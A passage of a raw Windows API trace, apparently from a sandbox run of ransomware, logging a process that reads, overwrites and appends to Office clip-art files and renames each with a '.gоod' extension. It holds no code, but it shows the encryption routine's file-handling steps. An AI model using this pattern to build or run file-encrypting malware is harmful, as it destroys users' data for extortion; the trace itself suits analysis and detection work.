nFileSizeLow=0x4edd)) returned 1 [0197.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0197.781] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0197.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.782] GetFileType (hFile=0x6e0) returned 0x1 [0197.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.782] GetFileType (hFile=0x6e0) returned 0x1 [0197.782] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0197.782] ReadFile (in: hFile=0x6e0, lpBuffer=0x36eeed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36eeed0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0197.822] CloseHandle (hObject=0x6e0) returned 1 [0197.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0197.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.823] GetFileType (hFile=0x6e0) returned 0x1 [0197.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.823] GetFileType (hFile=0x6e0) returned 0x1 [0197.823] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4edd [0197.823] WriteFile (in: hFile=0x6e0, lpBuffer=0x376cbc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x376cbc0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0197.986] CloseHandle (hObject=0x6e0) returned 1 [0199.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0199.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0199.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.876] GetFileType (hFile=0x7f8) returned 0x1 [0199.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0199.876] GetFileType (hFile=0x7f8) returned 0x1 [0199.876] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b034c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b034c8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0200.319] CloseHandle (hObject=0x7f8) returned 1 [0200.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0200.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.320] GetFileType (hFile=0x7f8) returned 0x1 [0200.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.320] GetFileType (hFile=0x7f8) returned 0x1 [0200.320] WriteFile (in: hFile=0x7f8, lpBuffer=0x3b02220*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3b02220*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0200.320] CloseHandle (hObject=0x7f8) returned 1 [0200.320] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0200.320] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0200.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0200.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x739c95e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4eed)) returned 1 [0200.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0200.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.gоod")) returned 1 [0200.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0200.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3b7ff98 | out: lpFileInformation=0x3b7ff98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6)) returned 1 [0200.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0200.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.323] GetFileType (hFile=0x7f8) returned 0x1 [0200.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.323] GetFileType (hFile=0x7f8) returned 0x1 [0200.323] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0200.323] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b803b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3b803b0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0200.324] CloseHandle (hObject=0x7f8) returned 1 [0200.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.325] GetFileType (hFile=0x7f8) returned 0x1 [0200.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.325] GetFileType (hFile=0x7f8) returned 0x1 [0200.325] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x4fe6 [0200.325] WriteFile (in: hFile=0x7f8, lpBuffer=0x3b832e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3b832e8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0200.326] CloseHandle (hObject=0x7f8) returned 1 [0200.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.326] GetFileType (hFile=0x7f8) returned 0x1 [0200.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.327] GetFileType (hFile=0x7f8) returned 0x1 [0200.327] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b855a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b855a8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0200.588] CloseHandle (hObject=0x7f8) returned 1 [0200.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.589] GetFileType (hFile=0x7f8) returned 0x1 [0200.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.589] GetFileType (hFile=0x7f8) returned 0x1 [0200.589] WriteFile (in: hFile=0x7f8, lpBuffer=0x371d258*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x371d258*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0200.589] CloseHandle (hObject=0x7f8) returned 1 [0200.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF", lpFilePart=0x0) returned 0x44 [0200.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0200.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0200.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73c51df6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4ff6)) returned 1 [0200.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0200.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.gоod")) returned 1 [0200.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0200.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0200.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3737fc8 | out: lpFileInformation=0x3737fc8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75)) returned 1 [0200.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0200.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0200.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0200.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0200.603] GetFileType (hFile=0x7f8) returned 0x1 [0200.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0200.604] GetFileType (hFile=0x7f8) returned 0x1 [0200.604] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0200.604] ReadFile (in: hFile=0x7f8, lpBuffer=0x37383e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37383e0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0202.484] CloseHandle (hObject=0x7f8) returned 1 [0202.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0202.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0202.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0202.484] GetFileType (hFile=0x7f8) returned 0x1 [0202.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0202.484] GetFileType (hFile=0x7f8) returned 0x1 [0202.484] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3d75 [0202.484] WriteFile (in: hFile=0x7f8, lpBuffer=0x34cdf38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34cdf38*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0202.485] CloseHandle (hObject=0x7f8) returned 1 [0202.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0202.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0202.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0202.485] GetFileType (hFile=0x7f8) returned 0x1 [0202.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0202.485] GetFileType (hFile=0x7f8) returned 0x1 [0202.485] ReadFile (in: hFile=0x7f8, lpBuffer=0x34d01f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34d01f8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0203.430] CloseHandle (hObject=0x7f8) returned 1 [0203.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0203.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.431] GetFileType (hFile=0x7f8) returned 0x1 [0203.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.431] GetFileType (hFile=0x7f8) returned 0x1 [0203.431] WriteFile (in: hFile=0x7f8, lpBuffer=0x332a810*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x332a810*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0203.431] CloseHandle (hObject=0x7f8) returned 1 [0203.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF", lpFilePart=0x0) returned 0x44 [0203.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0203.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0203.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x75770ac8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d85)) returned 1 [0203.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0203.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.gоod")) returned 1 [0203.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0203.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37727c0 | out: lpFileInformation=0x37727c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6)) returned 1 [0203.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0203.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft 